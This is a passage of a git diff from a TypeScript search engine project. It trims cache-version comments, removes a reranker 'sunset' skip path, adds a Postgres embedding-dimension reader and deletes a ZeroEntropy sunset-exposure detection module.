-// flight; the merge sequences them as 16 then 17.)
-//
-// bump 18→19 (#3621): `ack=` (autocut minKeep floor) joins the key. The
-// floor changes how many rows survive the cut, so a minKeep=1 write
-// (trimmed to the cliff) must NOT be served to a minKeep=6 lookup (which
-// expects the floor) — same contamination class as ac=/acj=. The PR
-// authored this as v=16; master had already reached 18, so it sequences
-// here per the D8 convention. Same one-time global cold-miss pattern.
-//
-// bump 19→20 (#3002): pre-fusion pool floor. hybridSearch's innerLimit
-// gains a floor (PRE_FUSION_POOL_FLOOR=50, and at least offset+limit), so
-// every recall arm fetches a wider candidate pool at small limits — same
-// knobs, different result set. A cache row written under the old limit*2
-// pool math must NOT be served post-upgrade.
-//
-// bump 20→21 (#895): recency DEFAULT_FALLBACK coefficient lowered 0.5→0.3
-// (recency-decay.ts) so unmapped notes can't out-boost entity pages under
-// --recency. A compile-time constant, not a per-call knob, but it reorders
-// every recency-weighted result set, so pre-fix cache rows must become
-// unreachable. Both bumps ship in the same release; no new key parts —
-// the version bump alone invalidates. Same one-time global cold-miss
-// pattern as the bumps above; refills within cache.ttl_seconds (3600s).
-//
-// bump 21→22 (mw2 wave): result-affecting stamp/injection changes for
-// identical knobs — #1663 exact-lookup injection, #3995 relational page-1
-// evidence slot, #3783 keyword_hit stamps, #4220 status. Pre-upgrade rows
-// (≤1h TTL) would be served missing the injected identity page + honesty
-// stamps, and CRAG then mis-grades them weak_semantic. Version-only
-// invalidation; one-time cold-miss spike on upgrade.
-//
-// bump 22→23 folds excludePrivate (#4352): the private-visibility posture
-// joins the key via ctx.excludePrivate (xp=). #4352 originally shipped a
-// wholesale cache skip for excludePrivate=true — but that posture is the
-// DEFAULT for every remote MCP caller, so the skip disabled the semantic
-// cache for exactly the highest-volume beneficiaries. Folding it instead
-// means cache rows written with private rows included can never serve a
-// private-excluding lookup and vice versa, and remote callers get their
-// ~50% cache savings back. Same contamination class as detail (v=16) and
-// hardExcludes (v=12); same one-time global cold-miss pattern as the bumps
-// above, refills within cache.ttl_seconds (3600s default).
-//
-// bump 23→24 (#4358 residual): hybrid.ts's `pagedRequest` skip-cache gate
-// only bypassed the cache for offset>0 (the #4368 wave absorbed the
-// positive-offset half of the original #4358 fix, which used `!== 0`, as
-// `> 0`). A negative offset re-slices an already-sliced stored page just as
-// badly as a positive one, and — since offset isn't part of this hash — a
-// negative-offset request could read OR write the same cache row an
-// offset=0 (or any other offset) request shares. Any row written while that
-// gap was live may hold a wrong page under a knobsHash a clean request can
-// still reach. No new key part; the bump alone invalidates (the PR authored
-// this as v=22; master had already reached 23, so it sequences here per the
-// D8 convention). Same one-time global cold-miss pattern as the bumps
-// above; refills within cache.ttl_seconds (3600s).
-//
-// bump 24→25 (#3617): `kof=` (keyword AND→OR fallback knob) joins the key.
-// The PR authored this as 23→24, but 24 was claimed by the negative-offset
-// bump above while it was open, so it takes the next free number per the D8
-// convention. Same one-time global cold-miss pattern as the bumps above.
-//
-// bump 25→26 folds salience/recency + intent_patterns (#4415) — wave-g. Three
-// new ctx parts:
-// sal=/rec= — the EFFECTIVE per-call salience/recency modes (explicit
-// SearchOpts ?? auto-suggested, resolved by the same chain bare
-// hybridSearch uses — see hybrid.ts resolveEffectiveSalience/
-// resolveEffectiveRecency). #4415 extended the per-call knobs to the
-// default MCP `search` surface, so a salience:'strong' write (reordered
-// result set) could be served to a salience:'off' lookup of the same
-// query for the whole TTL — same contamination class as det= (v=16).
-// ipat= — fingerprint of the applied `search.intent_patterns` config.
-// The patterns change classification (intent weights + auto salience/
-// recency/detail) and therefore results; without the fold, a config
-// edit kept serving old-classification rows for up to the TTL.
-// Same one-time global cold-miss pattern as the bumps above; refills
-// within cache.ttl_seconds (3600s default). (Authored as 23→24 on the
-// wave-g branch; 24 and 25 were claimed by the two bumps above while it
-// was in flight, so it takes the next free number per the D8 convention.)
-//
-// v=27 (master, 0.48.0.0): adaptive-return gate + intent fold (see the ar=/ari=
-// key parts below). bump 27→28 (#4256, fixes #3695's fusion path): compiledTruthBoost now
-// suppresses the 2x compiled-truth authority boost for synthetic chunkless
-// title rows (chunk_id 0 + empty chunk_text) in both rrfFusion variants —
-// result ordering changes for identical knobs, so cached rows ranked under
-// the old boost must not be served under the new semantics. No new key
-// part; version-only invalidation (same class as the 13→14 detail=medium
-// boost-scope bump and the 21→22 stamp/injection epoch). One-time global
-// cold-miss spike on upgrade; refills within cache.ttl_seconds (3600s).
-//
-// bump 28→29 (ranker wave): `evb=` — the expansion_variant_budget knob joins
-// the key (append-only, last part). A budget-weighted write (variant lists
-// subordinated in RRF) must not serve a legacy lookup or a different budget;
-// `null` hashes as `evb=legacy` so the all-null bundles re-key exactly once.
-//
-// v=29 ALSO carries `rrp=` (ranker wave, same release — one bump per wave):
-// the relational_rerank_pin knob. Pinning relational-arm rows above the
-// reranked text rows reorders the cached page for identical other knobs, so
-// a pin-3 write must never serve a pin-0 lookup (and vice versa). Appended as
-// the last part with NO separate version bump: v=29 has not shipped in a
-// release yet, so `evb=` and `rrp=` ride the same 28→29 one-time cold miss.
-//
-// v=29 ALSO carries `kacf=` (ranker wave Phase E2, same release): the
-// keyword_arm_confidence_floor knob. Down-weighting the keyword + title lists
-// on a weak keyword arm reorders the fused page for identical other knobs, so
-// a floor-0.6 write must never serve a floor-off lookup (and vice versa).
-// `null` hashes as `kacf=off`; appended after `rrp=`, same unshipped epoch.
-//
-// v=29 ALSO carries `mbg=` (ranker wave Phase E3, same release): the
-// metadata_boost_gate knob. Under `lexical`, vector-only-voter queries skip
-// the post-fusion metadata boosts and the fused page is re-ordered for
-// identical other knobs, so a `lexical` write must never serve an `always`
-// lookup (and vice versa). A partial-knobs literal hashes as `mbg=always`;
-// appended after `kacf=`, same unshipped epoch — no extra bump.
export const KNOBS_HASH_VERSION = 29;
/**
@@ -1753,4 +1493,3 @@ export async function loadSearchModeConfig(
overrides: loadOverridesFromConfig(configMap),
};
}
-
diff --git a/src/core/search/modes-report.ts b/src/core/search/modes-report.ts
index b46b4503ae..9226278968 100644
--- a/src/core/search/modes-report.ts
+++ b/src/core/search/modes-report.ts
@@ -134,8 +134,7 @@ export interface RerankerReadinessReport {
required_key?: string | null;
/** ABSENT on the remote surface (host key inventory is not for untrusted callers). */
key_present?: boolean;
- sunset_passed: boolean;
- /** A provider_base_urls override routes the provider to a self-hosted endpoint (sunset does not apply). Always false on the remote surface. */
+
self_hosted: boolean;
/** Paste-ready fix when not ready; null when ready; ABSENT on the remote surface (it names the key). */
fix?: string | null;
@@ -152,8 +151,8 @@ export function redactReadinessForRemote(report: SearchModesReport): SearchModes
if (!rr) return report;
// self_hosted is deployment topology (a private base-URL override exists) —
// not needed for the verdict, so it stays local too.
- const { model, enabled, ready, sunset_passed } = rr;
- return { ...report, reranker_readiness: { model, enabled, ready, sunset_passed, self_hosted: false } };
+ const { model, enabled, ready } = rr;
+ return { ...report, reranker_readiness: { model, enabled, ready, self_hosted: false } };
}
export async function buildModesReport(engine: BrainEngine): Promise<SearchModesReport> {
@@ -200,7 +199,6 @@ export async function buildModesReport(engine: BrainEngine): Promise<SearchModes
ready: r.ready,
required_key: r.requiredKey,
key_present: r.keyPresent,
- sunset_passed: r.sunsetPassed,
self_hosted: r.selfHosted,
fix: describeRerankerFix(r),
};
@@ -213,7 +211,6 @@ export async function buildModesReport(engine: BrainEngine): Promise<SearchModes
ready: false,
required_key: null,
key_present: false,
- sunset_passed: false,
self_hosted: false,
fix: `readiness check failed: ${e instanceof Error ? e.message : String(e)} — run gbrain doctor`,
};
diff --git a/src/core/search/rerank.ts b/src/core/search/rerank.ts
index 590ee14e23..0d78848e0b 100644
--- a/src/core/search/rerank.ts
+++ b/src/core/search/rerank.ts
@@ -1,28 +1,3 @@
-/**
- * v0.35.0.0+ — reranker call-site abstraction.
- *
- * Slots into hybridSearch after `dedupResults()` and before
- * `enforceTokenBudget()`. Takes the top `topNIn` candidates by current RRF
- * order, sends them to `gateway.rerank()`, and re-orders by the
- * cross-encoder's relevance score. The un-reranked long tail keeps its
- * original RRF order — preserves recall vs. truncating to topNIn.
- *
- * Fail-open posture: every error class (auth, network, timeout, rate-limit,
- * payload-too-large, unknown) logs to the rerank-audit JSONL and returns
- * the original RRF order unchanged. Search reliability beats reranker
- * quality; a flaky upstream must never break search. Two classes are SKIPS
- * rather than failures — `no_key` (provider key absent) and
- * `sunset_short_circuit` (provider dead past its announced date): the
- * gateway already wrote the one per-process audit row, so this layer returns
- * at once without a per-query row and reports the skip through
- * `opts.onSkip` so hybrid.ts can stamp a `reranker_skipped` degraded entry
- * (visible in `--explain`, telemetry and the eval rows; never stderr).
- *
- * Caller (hybridSearch) decides whether the reranker fires via
- * `opts.reranker?.enabled`. Mode-bundle resolution defaults this to `true`
- * for tokenmax and `false` for conservative/balanced.
- */
-
import { createHash } from 'crypto';
import type { SearchResult } from '../types.ts';
import { rerank as gatewayRerank, RerankError, type RerankInput, type RerankResult } from '../ai/gateway.ts';
@@ -59,17 +34,12 @@ export interface RerankerOpts {
* Production must NEVER set this.
*/
rerankerFn?: (input: RerankInput) => Promise<RerankResult[]>;
- /**
- * v0.48.2 — fired when the reranker is SKIPPED without reordering
- * (`no_key` / `sunset_short_circuit`). hybrid.ts stamps the degraded
- * entry; nothing is written to stderr. Never fired for genuine failures
- * (those keep the per-query audit row instead).
- */
+
onSkip?: (reason: RerankSkipReason) => void;
}
/** The two skip classes (no HTTP call, no per-query audit row). */
-export type RerankSkipReason = 'no_key' | 'sunset_short_circuit';
+export type RerankSkipReason = 'no_key';
/** SHA-256 prefix (8 chars) of the query text for privacy-preserving audit. */
function hashQuery(query: string): string {
@@ -163,12 +133,7 @@ export async function applyReranker(
});
} catch (err) {
const reason = classifyRerankFailure(err);
- // #3657 post-sunset short-circuit + v0.48.2 no_key: the gateway already
- // wrote the ONE per-process-per-model audit row (and, for the sunset case
- // only, the once-per-process stderr line) when it skipped the HTTP call —
- // a per-query row here would flood the audit file on every search until
- // the user migrates / adds the key. Fail open at once, tell the caller.
- if (reason === 'sunset_short_circuit' || reason === 'no_key') {
+ if (reason === 'no_key') {
try { opts.onSkip?.(reason); } catch { /* caller hook must never break search */ }
return results;
}
diff --git a/src/core/stored-embedding-identity.ts b/src/core/stored-embedding-identity.ts
new file mode 100644
index 0000000000..e8f2a706b8
--- /dev/null
+++ b/src/core/stored-embedding-identity.ts
@@ -0,0 +1,41 @@
+import type { BrainEngine } from './engine.ts';
+
+const PRIMARY_EMBEDDING_TABLES = ['content_chunks', 'facts', 'query_cache', 'takes'] as const;
+
+export async function readPrimaryEmbeddingStores(
+ engine: Pick<BrainEngine, 'executeRaw'>,
+): Promise<Array<typeof PRIMARY_EMBEDDING_TABLES[number]>> {
+ const rows = await engine.executeRaw<{ table_name: string }>(`
+ SELECT table_name FROM information_schema.columns
+ WHERE table_schema = 'public' AND column_name = 'embedding'
+ AND table_name = ANY($1::text[])
+ `, [[...PRIMARY_EMBEDDING_TABLES]]);
+ return PRIMARY_EMBEDDING_TABLES.filter(table => rows.some(row => row.table_name === table));
+}
+
+export async function readStoredEmbeddingIdentity(
+ engine: Pick<BrainEngine, 'executeRaw' | 'getConfig'>,
+): Promise<{ model: string | null; dimensions: number } | null> {
+ const rows = await engine.executeRaw<{ formatted: string | null }>(`
+ SELECT format_type(a.atttypid, a.atttypmod) AS formatted
+ FROM pg_attribute a
+ JOIN pg_class c ON c.oid = a.attrelid
+ JOIN pg_namespace n ON n.oid = c.relnamespace
+ WHERE n.nspname = 'public' AND c.relname = 'content_chunks'
+ AND a.attname = 'embedding' AND NOT a.attisdropped
+ `);
+ if (rows.length === 0) {
+ const tables = await engine.executeRaw<{ present: boolean }>(`
+ SELECT EXISTS (SELECT 1 FROM information_schema.tables
+ WHERE table_schema = 'public' AND table_name = 'content_chunks') AS present
+ `);
+ if (tables[0]?.present === false) return null;
+ throw new Error('Stored embedding column identity is unavailable. Run gbrain migrate embeddings --status before an explicit migration; the schema has not been resized.');
+ }
+ const dimensions = Number(rows[0].formatted?.match(/^(?:halfvec|vector)\((\d+)\)$/)?.[1]);
+ if (!Number.isInteger(dimensions) || dimensions <= 0) {
+ throw new Error('Stored embedding dimensions are unknown. Run gbrain migrate embeddings --status; automatic schema resizing is refused.');
+ }
+ const model = await engine.getConfig('embedding_model').catch(() => null);
+ return { model: model?.trim() || null, dimensions };
+}
diff --git a/src/core/types.ts b/src/core/types.ts
index 3e441fd965..e1f91ffecc 100644
--- a/src/core/types.ts
+++ b/src/core/types.ts
@@ -1342,25 +1342,7 @@ export interface SearchOpts extends PageReadPolicy {
* Sensible operator overrides for dense-embedder corpora: 0.85-0.95.
*/
floorRatio?: number;
- /**
- * v0.36 cross-modal wave: route this search through the multimodal
- * embedding space (Voyage multimodal-3 by default).
- *
- * - 'text' (default for queries that don't match image-intent regex):
- * existing text-embedding path. No behavior change vs pre-v0.36.
- * - 'image': force routing through the multimodal model + embedding_image
- * column. Skip LLM expansion (image embeddings handle synonyms in-space)
- * and skip keyword search (no FTS index on image content).
- * - 'both': run text and image vector searches in parallel; merge via
- * modality-weighted RRF.
- * - 'auto' (literal): same effect as undefined — let intent classifier
- * decide. Accepted on the wire so MCP callers can be explicit.
- *
- * Cross-modal override matrix (D9): when effective modality is 'image',
- * cross-modal path overrides expansion (false) and reranker (false)
- * regardless of mode bundle. zerank-2 can't rerank image embeddings;
- * sending them produces garbage scores.
- */
+
crossModal?: 'text' | 'image' | 'both' | 'auto';
/**
* v0.40.4 — per-call override for the graph-signals stage. Threads
@@ -1847,54 +1829,6 @@ export interface EvalCaptureFailure {
reason: EvalCaptureFailureReason;
}
-/**
- * WP2/T3 — CLOSED degradation vocabulary for `HybridSearchMeta.degraded`
- * (D6). Every stage a search can degrade through has an enumerated name;
- * consumers (MCP `_meta.retrieval`, telemetry, `--explain`) match on these
- * codes. Additive-forever: new stages append, existing names never change.
- *
- * embed_unavailable — no embedding ran (no provider, or provider errored)
- * embed_timeout — every query embed hit the wall-clock deadline
- * expansion_failed — the LLM multi-query expander threw; original only
- * expansion_partial — some (not all) variant embeds survived; results
- * salvaged from the surviving lists (ENG-15)
- * rescore_skipped — original-query embed failed, so the cosine
- * re-score stage was skipped (variant-list salvage)
- * vector_arm_failed — an engine.searchVector arm threw; surviving arms
- * (or keyword) carried the result
- * budget_dropped_all — the first result alone exceeded the token budget
- * and NOTHING was returned (GBRAIN_SEARCH_SALVAGE=off
- * strict path — the result set is empty)
- * budget_truncated — the minKeep failsafe kept ONE result truncated to
- * fit the budget (results non-empty but cut; distinct
- * stage so consumers can tell "empty" from "clipped")
- * keyword_zero — the keyword arm returned zero rows on a path where
- * it was the primary recall arm (vector unavailable)
- * cache_prestamp — served from a cache row written before the
- * degradation stamp existed; cleanliness unprovable
- * reranker_skipped — the mode enables the reranker but it did not run:
- * reason `no_key` (provider key absent) or
- * `sunset_short_circuit` (provider dead past its
- * announced date); results are in RRF order
- * rerank_passthrough — the reranker was enabled and the provider answered
- * SUCCESSFULLY but with an empty/malformed result set,
- * so results passed through in raw RRF order with no
- * rerank_score (#4648 — distinguishes "reranker off"
- * from "reranker died silently")
- * keyword_relaxed_carried — OR-relaxed lexical rows VOTED in fusion because
- * every text vector list came back empty on a
- * vector-enabled run (e.g. mid embed-backfill). The
- * result set leans on noise-shaped rank evidence, so
- * the cache write takes the degraded (short) TTL —
- * otherwise a transitional relaxed-carried row would
- * shadow the recovered pipeline for the full TTL
- * under the same knobs hash (2026-09 red-team).
- * safe_index_pending — a remote/untrusted read returned nothing while its
- * scope still holds markdown pages below the safe-chunk
- * index version (withheld from remote chunk retrieval
- * until `gbrain reindex --markdown` seals them); stamped
- * by the search/query ops' retrieval meta (#5004)
- */
export const DEGRADED_STAGES = [
'embed_unavailable',
'embed_timeout',
@@ -1930,7 +1864,6 @@ export const DEGRADED_REASONS = [
'original_embed_failed',
'first_result_truncated',
'no_key',
- 'sunset_short_circuit',
// #4648 — rerank_passthrough reasons (mirror RerankPassThroughReason).
'empty_result_set',
'malformed_shape',
diff --git a/src/core/write-through.ts b/src/core/write-through.ts
index cef6c63397..97fb48b16c 100644
--- a/src/core/write-through.ts
+++ b/src/core/write-through.ts
@@ -158,6 +158,7 @@ export function recordedPathFromFileUri(sourceUri: string | null | undefined, pa
}
}
if (abs.includes('\0') || !abs.toLowerCase().endsWith('.md')) return null;
+ if (process.platform === 'win32' && /^\/[A-Za-z]:[\\/]/.test(abs)) abs = abs.slice(1);
const rel = relative(resolve(pageRoot), resolve(abs));
if (!rel || isAbsolute(rel) || rel.split(/[\\/]/).some((segment) => segment === '..')) return null;
return rel;
diff --git a/src/core/ze-exposure.ts b/src/core/ze-exposure.ts
deleted file mode 100644
index 9a59f88898..0000000000
--- a/src/core/ze-exposure.ts
+++ /dev/null
@@ -1,340 +0,0 @@
-/**
- * ZeroEntropy sunset exposure detection (v0.46.3).
- *
- * One shared answer to "is this brain still depending on ZeroEntropy?" —
- * consumed by the v0.46.3 version migration (detect-and-notify) and the
- * stage-2 upgrade banner. Standalone module by design: the ze-switch /
- * retrieval-upgrade subsystem is deleted in the September removal release and
- * this file must survive it.
- *
- * SCOPE: the brain the given engine is connected to + the HOST file plane
- * (~/.gbrain/config.json). apply-migrations is host-scoped (one global
- * completed.jsonl, no --brain flag), so the version migration covers the HOST
- * brain only; mounted/team brains are covered by the per-brain stage-2 banner
- * + doctor gates (their `ze_sunset_notice_v2_shown` lives in each brain's own
- * DB config).
- *
- * EXPOSURE = EFFECTIVE-MODEL RESOLUTION, NOT VECTOR EVIDENCE. Precedence:
- * env (GBRAIN_EMBEDDING_MODEL) → file `embedding_model` → the legacy
- * configless runtime fallback (DEFAULT_EMBEDDING_MODEL, still ZE until the
- * September cutover). A configless brain resolves to the ZE fallback
- * DETERMINISTICALLY — it is exposed even with zero vectors. Signatures and
- * column width feed only the blast radius: 1280d is NOT ZE-proof (OpenAI
- * text-3 supports arbitrary Matryoshka widths including 1280).
- *
- * TRI-STATE: a failed DB probe downgrades `status` to 'unknown', never to
- * 'clear'. Callers must nag on 'unknown' (fail-safe), and the migration
- * returns `complete` with an `exposure_unknown` detail rather than `partial`
- * — three consecutive partials would wedge the whole migration chain behind
- * `--force-retry` (apply-migrations.ts).
- */
-
-import type { BrainEngine } from './engine.ts';
-import type { GBrainConfig } from './config.ts';
-import { loadConfigFileOnly } from './config.ts';
-import { DEFAULT_EMBEDDING_MODEL, ZEROENTROPY_SUNSET_DATE } from './ai/defaults.ts';
-import {
- NEW_INSTALL_DEFAULT_EMBEDDING_MODEL,
- NEW_INSTALL_DEFAULT_EMBEDDING_DIMENSIONS,
- NEW_INSTALL_DEFAULT_RERANKER_MODEL,
- renderCanonicalMigrationCommands,
-} from './ai/defaults.ts';
-import { lookupEmbeddingPrice } from './embedding-pricing.ts';
-
-const ZE_PREFIX = 'zeroentropyai:';
-
-/** Strict column-name shape (mirrors the registry's validateColumnKey
- * contract). Registry keys read here come from BOTH config planes — the DB
- * plane can be written by another party on mounted/team brains, and these
- * names are rendered verbatim into the agent-directed ACTION REQUIRED banner,
- * so nonconforming names are dropped rather than echoed (text-injection
- * hardening; sanctioned write paths already enforce this shape). */
-const SAFE_COLUMN_KEY = /^[a-z_][a-z0-9_]{0,62}$/;
-
-/** Blast-radius counts are LIMIT-capped so a million-chunk brain can't stall
- * apply-migrations on a full-table COUNT. */
-export const BLAST_RADIUS_CAP = 100_000;
-
-export type ZeExposureStatus = 'exposed' | 'clear' | 'unknown';
-
-export interface ZeBlastRadius {
- /** Pages whose embedding_signature is ZE-stamped (capped; null = probe failed). */
- zeSignedPages: number | null;
- zeSignedPagesCapped: boolean;
- /** Non-NULL embedded chunks (capped; null = probe failed / not ZE-exposed). */
- embeddedChunks: number | null;
- embeddedChunksCapped: boolean;
- /** Rough re-embed cost at the recommended target (~400 tokens/chunk). */
- estReembedUsd: number | null;
-}
-
-export interface ZeExposure {
- status: ZeExposureStatus;
- /** Effective embedding model resolves to zeroentropyai:* (and not disabled). */
- zeEmbedding: boolean;
- /** ...because file config names it explicitly. */
- zeExplicit: boolean;
- /** ...because nothing is configured and the legacy runtime fallback applies. */
- bareDefaultZe: boolean;
- /** Env override (GBRAIN_EMBEDDING_MODEL) names ZE — env wins over file, so
- * the notice must tell the operator the env var itself has to change. */
- envOverride: boolean;
- /** The RESOLVED reranker (explicit config or still-legacy bundle default,
- * when reranking is enabled for the active mode) is zeroentropyai:*. */
- zeReranker: boolean;
- /** Custom embedding_columns registry entries backed by a ZE model. */
- zeCustomColumns: string[];
- /** VOYAGE_API_KEY in env OR voyage_api_key in file config. */
- hasVoyageKey: boolean;
- /** provider_base_urls.zeroentropyai is overridden (file or DB plane) — the
- * operator may be self-hosting a ZE-wire endpoint, so the HOSTED shutdown
- * may not break them. Exposure stays exposed (fail-safe: we can't verify
- * the endpoint), but the notice says so instead of claiming certain death. */
- selfHostBaseUrl: boolean;
- /** Names of probes that failed (drove status to 'unknown'). */
- unknownProbes: string[];
- blastRadius: ZeBlastRadius;
-}
-
-/** PRIVATE — both call sites pass hardcoded literal SQL; never pass dynamic
- * or config-derived strings into `innerSql` (it is string-composed). If a
- * future probe needs a parameter, add a fixed named query instead. */
-async function cappedCount(engine: BrainEngine, innerSql: string): Promise<number> {
- const rows = await engine.executeRaw<{ n: number }>(
- `SELECT COUNT(*)::int AS n FROM (${innerSql} LIMIT ${BLAST_RADIUS_CAP + 1}) t`,
- );
- return Number(rows?.[0]?.n ?? 0);
-}
-
-function zeColumnsFromRegistry(registry: unknown, out: Set<string>): void {
- if (!registry || typeof registry !== 'object') return;
- for (const [name, entry] of Object.entries(registry as Record<string, unknown>)) {
- if (!SAFE_COLUMN_KEY.test(name)) continue; // never echo nonconforming names
- const provider = (entry as { provider?: unknown } | null)?.provider;
- if (typeof provider === 'string' && provider.startsWith(ZE_PREFIX)) out.add(name);
- }
-}
-
-/**
- * ZE-backed custom-column names for this brain (file + DB registry planes).
- * Shared by detectZeExposure and doctor's provider_sunset check — the doctor
- * must not report ok while a ZE-backed custom column is still live.
- */
-export async function detectZeCustomColumns(
- engine: BrainEngine,
- fileCfgArg?: GBrainConfig | null,
-): Promise<{ columns: string[]; probeFailed: boolean }> {
- const fileCfg = fileCfgArg !== undefined ? fileCfgArg : loadConfigFileOnly();
- const zeCols = new Set<string>();
- zeColumnsFromRegistry(fileCfg?.embedding_columns, zeCols);
- let probeFailed = false;
- try {
- const raw = await engine.getConfig('embedding_columns');
- if (raw) zeColumnsFromRegistry(JSON.parse(raw), zeCols);
- } catch {
- probeFailed = true;
- }
- return { columns: [...zeCols].sort(), probeFailed };
-}
-
-/**
- * Detect this brain's ZeroEntropy exposure. Every DB probe is individually
- * try/caught; a failure marks the probe unknown instead of throwing (a broken
- * schema must not turn detection into a crash — or into a false 'clear').
- */
-export async function detectZeExposure(
- engine: BrainEngine,
- fileCfgArg?: GBrainConfig | null,
- env: NodeJS.ProcessEnv = process.env,
-): Promise<ZeExposure> {
- const fileCfg = fileCfgArg !== undefined ? fileCfgArg : loadConfigFileOnly();
- const unknownProbes: string[] = [];
-
- // --- Embedding axis: pure config resolution, cannot fail -----------------
- const disabled = fileCfg?.embedding_disabled === true;
- const envModel = env.GBRAIN_EMBEDDING_MODEL?.trim() || undefined;
- const fileModel = fileCfg?.embedding_model;
- const effective = envModel ?? fileModel ?? DEFAULT_EMBEDDING_MODEL;
- const zeEmbedding = !disabled && effective.startsWith(ZE_PREFIX);
- const envOverride = !disabled && !!envModel?.startsWith(ZE_PREFIX);
- const zeExplicit = !disabled && !envModel && !!fileModel?.startsWith(ZE_PREFIX);
- const bareDefaultZe = !disabled && !envModel && !fileModel;
-
- // --- Reranker axis: resolve through the SAME plane search reranks with ---
- // (mode bundle + search.reranker.* config; env excluded). Detectable
- // precisely because the bundle default stays legacy-ZE until September.
- let zeReranker = false;
- try {
- const { loadSearchModeConfig, resolveSearchMode } = await import('./search/mode.ts');
- const knobs = resolveSearchMode(await loadSearchModeConfig(engine));
- zeReranker = knobs.reranker_enabled && knobs.reranker_model.startsWith(ZE_PREFIX);
- } catch {
- unknownProbes.push('reranker_resolution');
- }
-
- // --- Custom-column axis: both planes (file + DB registry) ----------------
- const colProbe = await detectZeCustomColumns(engine, fileCfg);
- if (colProbe.probeFailed) unknownProbes.push('embedding_columns_db');
- const zeCustomColumns = colProbe.columns;
-
- const hasVoyageKey = !!(env.VOYAGE_API_KEY || fileCfg?.voyage_api_key);
-
- // --- Self-host signal (informational): base-URL override on either plane --
- let selfHostBaseUrl = !!fileCfg?.provider_base_urls?.zeroentropyai;
- if (!selfHostBaseUrl) {
- try {
- selfHostBaseUrl = !!(await engine.getConfig('provider_base_urls.zeroentropyai'));
- } catch {
- // Informational only — a failed probe never flips status here.
- }
- }
-
- // --- Blast radius (informational; failures do NOT flip status) -----------
- const blastRadius: ZeBlastRadius = {
- zeSignedPages: null,
- zeSignedPagesCapped: false,
- embeddedChunks: null,
- embeddedChunksCapped: false,
- estReembedUsd: null,
- };
- if (zeEmbedding) {
- try {
- const n = await cappedCount(
- engine,
- `SELECT 1 FROM pages WHERE embedding_signature LIKE '${ZE_PREFIX}%'`,
- );
- blastRadius.zeSignedPages = Math.min(n, BLAST_RADIUS_CAP);
- blastRadius.zeSignedPagesCapped = n > BLAST_RADIUS_CAP;
- } catch {
- // Pre-v108 schemas have no embedding_signature column — informational.
- }
- try {
- const n = await cappedCount(
- engine,
- `SELECT 1 FROM content_chunks WHERE embedding IS NOT NULL`,
- );
- blastRadius.embeddedChunks = Math.min(n, BLAST_RADIUS_CAP);
- blastRadius.embeddedChunksCapped = n > BLAST_RADIUS_CAP;
- const price = lookupEmbeddingPrice(NEW_INSTALL_DEFAULT_EMBEDDING_MODEL);
- if (price.kind === 'known' && blastRadius.embeddedChunks !== null) {
- // ~400 tokens/chunk repo-wide average (CLAUDE.md cost anchors).
- const tokens = blastRadius.embeddedChunks * 400;
- blastRadius.estReembedUsd = (tokens / 1_000_000) * price.pricePerMTok;
- }
- } catch {
- // Fresh/odd brains: no chunk count, no cost estimate. Informational.
- }
- }
-
- const exposed = zeEmbedding || zeReranker || zeCustomColumns.length > 0;
- const status: ZeExposureStatus = exposed
- ? 'exposed'
- : unknownProbes.length > 0
- ? 'unknown'
- : 'clear';
-
- return {
- status,
- zeEmbedding,
- zeExplicit,
- bareDefaultZe,
- envOverride,
- zeReranker,
- zeCustomColumns,
- hasVoyageKey,
- selfHostBaseUrl,
- unknownProbes,
- blastRadius,
- };
-}
-
-function fmtCount(n: number | null, capped: boolean): string {
- if (n === null) return 'unknown';
- return capped ? `${n.toLocaleString()}+` : n.toLocaleString();
-}
-
-/**
- * Render the shared ACTION REQUIRED body. Both the v0.46.3 migration notice
- * and the stage-2 upgrade banner wrap this text (DRY: the exposure story is
- * written once). Plain ASCII, <= 78 cols per repo convention.
- */
-export function renderZeActionRequired(exposure: ZeExposure): string {
- const lines: string[] = [];
- lines.push(`ZeroEntropy stops working on ${ZEROENTROPY_SUNSET_DATE}.`);
- if (exposure.status === 'unknown' && !exposure.zeEmbedding && !exposure.zeReranker) {
- lines.push(
- `This brain's exposure could not be fully determined ` +
- `(failed probes: ${exposure.unknownProbes.join(', ')}). Treat it as affected ` +
- `until \`gbrain doctor\` reports provider_sunset ok.`,
- );
- }
- if (exposure.zeEmbedding) {
- const via = exposure.envOverride
- ? 'via the GBRAIN_EMBEDDING_MODEL env var'
- : exposure.zeExplicit
- ? 'via embedding_model in ~/.gbrain/config.json'
- : 'via the configless runtime fallback (nothing is configured)';
- lines.push(`This brain EMBEDS with ZeroEntropy (${via}).`);
- lines.push(
- `Blast radius: ${fmtCount(exposure.blastRadius.zeSignedPages, exposure.blastRadius.zeSignedPagesCapped)} ` +
- `ZE-stamped pages / ${fmtCount(exposure.blastRadius.embeddedChunks, exposure.blastRadius.embeddedChunksCapped)} ` +
- `embedded chunks` +
- (exposure.blastRadius.estReembedUsd !== null
- ? ` (${exposure.blastRadius.embeddedChunksCapped ? 'at least ' : ''}~$${exposure.blastRadius.estReembedUsd.toFixed(2)} to re-embed with ${NEW_INSTALL_DEFAULT_EMBEDDING_MODEL})`
- : ''),
- );
- lines.push(`Fix: ${renderCanonicalMigrationCommands().recommendedDryRun}`);
- lines.push(
- ` (Voyage's valid widths are 256/512/1024/2048 — legacy default brains are ` +
- `1280d and get a one-time rebuild to ${NEW_INSTALL_DEFAULT_EMBEDDING_DIMENSIONS}.`,
- );
- lines.push(
- ` OpenAI can keep widths up to 1536: --to openai:text-embedding-3-small --dim <width>.`,
- );
- lines.push(
- ` \`gbrain doctor\` prints this brain's exact width-aware command.)`,
- );
- if (exposure.envOverride) {
- lines.push(
- `NOTE: GBRAIN_EMBEDDING_MODEL currently forces the ZE model — the env var itself`,
- );
- lines.push(`must change; config edits alone cannot fix this brain.`);
- }
- }
- if (exposure.zeReranker) {
- lines.push(
- `Reranking is explicitly configured to a ZE zerank model and dies the same day. Fix:`,
- );
- lines.push(
- ` gbrain config set search.reranker.model ${NEW_INSTALL_DEFAULT_RERANKER_MODEL}` +
- (exposure.hasVoyageKey ? '' : ' (needs VOYAGE_API_KEY)'),
- );
- lines.push(` (or disable: gbrain config set search.reranker.enabled false)`);
- }
- if (exposure.zeCustomColumns.length > 0) {
- lines.push(
- `Custom embedding column(s) backed by ZeroEntropy: ${exposure.zeCustomColumns.join(', ')}.`,
- );
- lines.push(
- `No automated off-ramp exists for custom columns yet (migrate embeddings covers`,
- );
- lines.push(
- `the primary column only) — re-declare them on the new provider and re-embed.`,
- );
- }
- if (exposure.selfHostBaseUrl) {
- lines.push(
- `NOTE: provider_base_urls.zeroentropyai is overridden. If that endpoint is a`,
- );
- lines.push(
